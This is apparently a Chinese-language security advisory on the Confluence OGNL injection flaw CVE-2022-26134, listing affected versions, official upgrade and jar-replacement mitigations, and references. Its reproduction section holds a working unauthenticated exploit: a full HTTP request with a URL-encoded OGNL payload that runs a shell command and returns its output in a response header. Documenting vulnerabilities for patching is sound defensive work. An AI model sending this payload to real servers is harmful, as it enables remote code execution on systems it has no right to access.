Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134）

Atlassian Confluence 是 Atlassian 公司出品的专业wiki程序。它可以作为一个知识管理的工具，通过它能够实现团队成员之间的协作和知识共享

2022年6月3日，Atlassian 官方发布官方公告，披露存在 CVE-2022-26134 Confluence 远程代码执行漏洞在野攻击漏洞事件

1. 漏洞信息

漏洞编号: CVE-2022-26134

影响组件: Atlassian Confluence

漏洞类型: 命令执⾏

威胁等级: 严重

漏洞简述: 该漏洞利用无需身份认证，可直接前台远程执行任意代码

2. 影响版本

• 1.3.0 - 7.4.16

• 7.13.0 - 7.13.6

• 7.14.0 - 7.14.2

• 7.15.0 - 7.15.1

• 7.16.0 - 7.16.3

• 7.17.0 - 7.17.3

• 7.18.0

3. 漏洞复现

该漏洞利用方法十分简单，直接发送如下请求即可执行任意命令，并在HTTP返回头中获取执行结果：

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

其中使用到的OGNL表达式为

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

4. 修复建议

4.1.官方建议

用户升级至最新版本，以保证服务的安全性及稳定性。下载链接: https://www.atlassian.com/software/confluence/download-archives

4.2. 临时防护措施

若相关用户暂时无法进行升级操作，也可通过以下步骤来缓解该问题：

1. 对于 Confluence 7.15.0 - 7.18.0

   如果在集群中运行 Confluence，则需要在每个节点上重复此过程。您不需要关闭整个集群

• 关闭 Confluence

• 下载 xwork-1.0.3-atlassian-10.jar 到 Confluence 服务器。链接：

  https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

• 将 xwork-1.0.3-atlassian-8.jar 删除或移出 Confluence 安装目录。文件路径：

   <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
  

  注意：请用户不要在该目录中留下旧 JAR 文件的副本

• 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中。目录路径：

  <confluence-install>/confluence/WEB-INF/lib/
  

• 检查 xwork-1.0.3-atlassian-10.jar 文件权限是否与同一目录中的其他文件相同

• 重启 Confluence

• 请记住，如果您在集群中运行 Confluence，请确保在所有节点上运行此脚本

2. 对于 Confluence 7.0.0 - Confluence 7.14.2

   如果在集群中运行 Confluence，则需要在每个节点上重复此过程，您不需要关闭整个集群

• 关闭 Confluence

• 下载 xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar 和 CachedConfigurationProvider.class 三个文件到 Confluence Windows 服务器。下载链接

• 将 xwork-1.0.3.6.jar 与 webwork-2.1.5-atlassian-3.jar 删除或移出 Confluence 安装目录。文件路径分别为：

  <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
  

  注意：请用户不要在该目录中留下以上旧JAR文件的副本

• 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中。目录路径：

  <confluence-install>/confluence/WEB-INF/lib/
  

• 将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到以下目录中。目录路径：

  <confluence-install>/confluence/WEB-INF/lib/
  

• 检查下载的新文件权限是否与同一目录中的其他文件相同

• 切换到以下目录

  <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup
  

• 在 setup 目录下创建一个名为 webwork 的新目录

• 将 CachedConfigurationProvider.class 复制到创建好的 webwork 目录中，目录路径：

   <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
  

• 检查 CachedConfigurationProvider.class 文件权限是否与同一目录中的其他文件相同

• 重启 Confluence

5. 参考链接：

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

关注及时推送最新安全威胁资讯！

推荐阅读

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历